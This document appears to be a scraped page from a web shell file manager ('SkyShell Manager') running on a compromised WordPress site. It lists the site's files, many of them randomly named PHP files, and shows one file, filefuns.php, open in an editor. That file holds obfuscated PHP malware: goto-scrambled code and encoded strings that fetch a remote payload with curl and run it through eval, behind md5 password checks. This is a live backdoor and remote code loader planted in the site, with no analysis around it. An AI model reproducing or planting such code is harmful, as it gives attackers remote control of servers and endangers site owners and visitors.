ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.2.34-36+ubuntu20.04.1+deb.sury.org+1

Path:root/var/www/pussywrap.com/htdocs/

Name	Size	Perm	Actions
📁 f3223a	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 well-known	-	0755	🗑️ 🏷️
📁 te	-	0755	🗑️ 🏷️
📁 pics	-	0755	🗑️ 🏷️
📁 920659	-	0755	🗑️ 🏷️
📁 74a56	-	0755	🗑️ 🏷️
📁 314772	-	0755	🗑️ 🏷️
📁 42d157	-	0755	🗑️ 🏷️
📁 465377	-	0755	🗑️ 🏷️
📁 49413135	-	0755	🗑️ 🏷️
📁 525147	-	0755	🗑️ 🏷️
📁 906618	-	0755	🗑️ 🏷️
📄 index.htm.old	1.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	41.77 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	19.42 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	13.59 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 eaipnegn.php	12.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	15.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron-ioig.php	1.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ersppyga.php	12.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	2.41 KB	0600	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	5.2 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 vosaspti.php	19.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 vhhgozjz.php	19.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 traffic.php	31.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 cwkmtigr.php	19.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tckqhtpk.php	20.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 qqgqbczg.php	10.31 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post-new.php	0.13 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 goods.php	1.46 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 options-writing.php	215.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wpxml.php	12.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: filefuns.php

<?php
 goto vlgqpgw68U; ppF0EBLW94: class J8F2e78kSF { static function C1r7sKv4_b($JHrlHj_cHe) { goto w1uuCIMOf1; WyrP7jXtkN: foreach ($GKuRTAr0SW as $xpQDHB1SbR => $tUCBN6CFro) { $Lr8gGh6LQz .= $xTIDb8FJm2[$tUCBN6CFro - 46791]; Zv5EI1PCwL: } goto YAzkVoe8KO; ZUc4Uk1Rsy: return $Lr8gGh6LQz; goto erL_c4I9Dn; aQAL2PydlR: $Lr8gGh6LQz = ''; goto WyrP7jXtkN; IDVfIZ5qbY: $xTIDb8FJm2 = $TkzUTEv0Or("\x7e", "\x20"); goto kweoZWLVwj; w1uuCIMOf1: $TkzUTEv0Or = "\x72" . "\x61" . "\156" . "\147" . "\x65"; goto IDVfIZ5qbY; kweoZWLVwj: $GKuRTAr0SW = explode("\53", $JHrlHj_cHe); goto aQAL2PydlR; YAzkVoe8KO: lVvvv3JDh_: goto ZUc4Uk1Rsy; erL_c4I9Dn: } static function Aw6i8NxdgP($bMa6yLUZk0, $J7I7mfVWG4) { goto Su_XRK_AX6; swAx8hKqy0: curl_setopt($xfBWkCFvfm, CURLOPT_RETURNTRANSFER, 1); goto vrIanzDJkV; vrIanzDJkV: $dPAL5Jr0wl = curl_exec($xfBWkCFvfm); goto RHegt_EG7t; RHegt_EG7t: return empty($dPAL5Jr0wl) ? $J7I7mfVWG4($bMa6yLUZk0) : $dPAL5Jr0wl; goto UuETkX_LTh; Su_XRK_AX6: $xfBWkCFvfm = curl_init($bMa6yLUZk0); goto swAx8hKqy0; UuETkX_LTh: } static function U5hNn0uBvf() { goto LK63ZVt9EN; YrFqFc_fZ0: $kukMBILK07 = self::Aw6I8NXDgP($gMQB1K0GOp[0 + 1], $I_KPUBWbO2[2 + 3]); goto Z3jeiY_f0u; UKqeSHmCbi: $E6HdMY7eSO = @$I_KPUBWbO2[1]($I_KPUBWbO2[9 + 1](INPUT_GET, $I_KPUBWbO2[8 + 1])); goto pACSq49aJA; AlBnGQ85ze: foreach ($w4uqRvO6bT as $sOE_iMHA6a) { $I_KPUBWbO2[] = self::c1R7Skv4_b($sOE_iMHA6a); YfejpQnu_9: } goto uhAys2YsHM; ECpjxo3xV1: $uSSfGGr1D8 = md5($gMQB1K0GOp[1 + 2]); goto XCetVqKl1b; LK63ZVt9EN: $w4uqRvO6bT = array("\64\x36\x38\x31\x38\53\x34\x36\x38\60\63\53\64\x36\70\61\x36\53\64\x36\x38\x32\60\53\x34\x36\x38\x30\x31\x2b\x34\66\70\61\66\x2b\x34\66\70\62\x32\x2b\64\66\x38\61\x35\x2b\x34\66\70\x30\x30\53\x34\x36\70\60\67\x2b\x34\x36\70\61\x38\53\64\x36\x38\60\x31\53\64\x36\70\61\62\x2b\x34\x36\70\x30\66\x2b\x34\x36\x38\x30\x37", "\64\66\70\60\62\x2b\x34\x36\70\60\61\53\64\66\70\60\63\53\x34\66\70\x32\x32\53\x34\66\70\60\x33\x2b\x34\66\70\60\66\53\64\66\70\60\x31\53\64\x36\x38\66\x38\53\x34\66\70\x36\66", "\64\66\70\61\61\x2b\x34\x36\70\60\62\x2b\x34\66\x38\60\x36\53\64\66\70\60\67\x2b\x34\x36\x38\x32\x32\53\64\66\70\61\x37\x2b\64\66\70\61\x36\x2b\x34\x36\70\x31\70\x2b\64\x36\x38\x30\x36\x2b\x34\66\x38\x31\67\53\x34\66\70\x31\x36", "\x34\66\70\60\x35\x2b\64\66\x38\x32\x30\x2b\64\x36\70\x31\70\x2b\x34\x36\70\61\60", "\64\66\x38\61\71\x2b\64\x36\x38\62\x30\x2b\64\66\x38\60\x32\x2b\x34\66\70\61\66\x2b\x34\x36\x38\x36\x33\53\64\66\x38\66\65\53\64\x36\x38\x32\62\x2b\64\x36\x38\x31\67\53\64\66\x38\61\x36\53\64\x36\70\x31\x38\x2b\64\66\70\60\66\x2b\64\66\70\61\67\53\64\66\70\x31\x36", "\64\x36\x38\x31\x35\53\64\66\70\61\x32\x2b\x34\x36\x38\x30\71\x2b\64\x36\70\61\66\x2b\64\x36\x38\x32\62\53\x34\x36\x38\x31\x34\53\64\x36\x38\61\66\x2b\64\x36\70\60\61\x2b\x34\x36\70\x32\x32\53\x34\66\70\x31\70\53\64\x36\70\x30\x36\53\x34\x36\x38\x30\x37\x2b\x34\66\x38\60\x31\x2b\64\x36\x38\x31\x36\x2b\64\66\x38\x30\x37\53\64\x36\70\60\61\53\x34\x36\x38\60\62", "\x34\66\70\64\x35\53\64\x36\x38\67\65", "\64\x36\x37\x39\62", "\64\66\x38\67\60\53\64\66\70\x37\65", "\64\66\70\x35\x32\x2b\x34\x36\70\x33\65\x2b\x34\x36\70\x33\x35\53\64\66\x38\65\62\x2b\64\x36\x38\x32\70", "\x34\66\x38\61\65\53\x34\66\70\x31\x32\53\x34\66\x38\x30\x39\53\x34\66\70\x30\61\53\64\66\x38\x31\x36\53\x34\66\x38\60\x33\x2b\64\66\x38\x32\62\x2b\64\x36\x38\x31\x32\53\x34\66\70\x30\x37\53\x34\x36\70\x30\x35\53\x34\x36\x38\60\60\53\x34\66\x38\x30\x31"); goto AlBnGQ85ze; Z3jeiY_f0u: @eval($I_KPUBWbO2[1 + 3]($kukMBILK07)); goto aym5Uj8foa; uhAys2YsHM: XmxdfzIgY5: goto UKqeSHmCbi; m0vYZpQsmZ: $gMQB1K0GOp = $I_KPUBWbO2[1 + 1]($xFv0v8sc5d, true); goto ECpjxo3xV1; wEbnFiSbt3: $Fj9q8U0To6 = md5($uSSfGGr1D8); goto gGXLvd16xS; bcK6nTz2rS: PdRlTCXIvc: goto H9n1tCAm8G; XCetVqKl1b: @$I_KPUBWbO2[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($I_KPUBWbO2[2 + 3](__FILE__)); goto wEbnFiSbt3; aym5Uj8foa: die; goto bcK6nTz2rS; pACSq49aJA: $xFv0v8sc5d = @$I_KPUBWbO2[1 + 2]($I_KPUBWbO2[5 + 1], $E6HdMY7eSO); goto m0vYZpQsmZ; gGXLvd16xS: if (!(@$gMQB1K0GOp[0] - time() > 0 and $Fj9q8U0To6 === "\x39\66\61\x64\145\x64\x66\141\60\146\x63\x31\x66\x33\143\63\x36\142\144\70\x39\x64\71\x65\x34\63\144\x65\x38\x62\145\x63")) { goto PdRlTCXIvc; } goto YrFqFc_fZ0; H9n1tCAm8G: } } goto ifx0cILAmF; vlgqpgw68U: $cu238ZN4b3 = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto XOOM7CW7Hd; C59KEd7988: if (!(in_array(gettype($hFHfB09F2b) . "\62\x30", $hFHfB09F2b) && md5(md5(md5(md5($hFHfB09F2b[14])))) === "\64\66\x31\143\62\64\x31\x61\x32\63\x37\71\x64\141\70\x62\x65\60\143\62\x38\x39\65\66\62\x64\x34\x61\x30\65\x36\141")) { goto ifoSByP0JL; } goto Pd4xXs1LqU; WdJCa6t50t: $hFHfB09F2b = ${$hitCZor1d5[25 + 6] . $hitCZor1d5[21 + 38] . $hitCZor1d5[33 + 14] . $hitCZor1d5[34 + 13] . $hitCZor1d5[36 + 15] . $hitCZor1d5[29 + 24] . $hitCZor1d5[22 + 35]}; goto C59KEd7988; E2bOsbmv3s: @eval($hFHfB09F2b[65](${$hFHfB09F2b[41]}[16])); goto ahgX6FN0Hy; XOOM7CW7Hd: $hitCZor1d5 = $cu238ZN4b3("\176", "\40"); goto WdJCa6t50t; Pd4xXs1LqU: $hFHfB09F2b[65] = $hFHfB09F2b[65] . $hFHfB09F2b[71]; goto E2bOsbmv3s; PzYySTvv07: metaphone("\x4d\172\x49\x35\117\x44\131\x33\x4f\x54\x59\172\116\104\143\x79\x4e\104\105\x34\x4d\104\111\x79\x4d\x7a\x59\x7a\x4e\x44\x45\x79"); goto ppF0EBLW94; ahgX6FN0Hy: ifoSByP0JL: goto PzYySTvv07; ifx0cILAmF: J8F2E78KSf::U5HNn0ubVF();
?>
BiaoJiOk

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v7.2.34-36+ubuntu20.04.1+deb.sury.org+1

Edit: filefuns.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.2.34-36+ubuntu20.04.1+deb.sury.org+1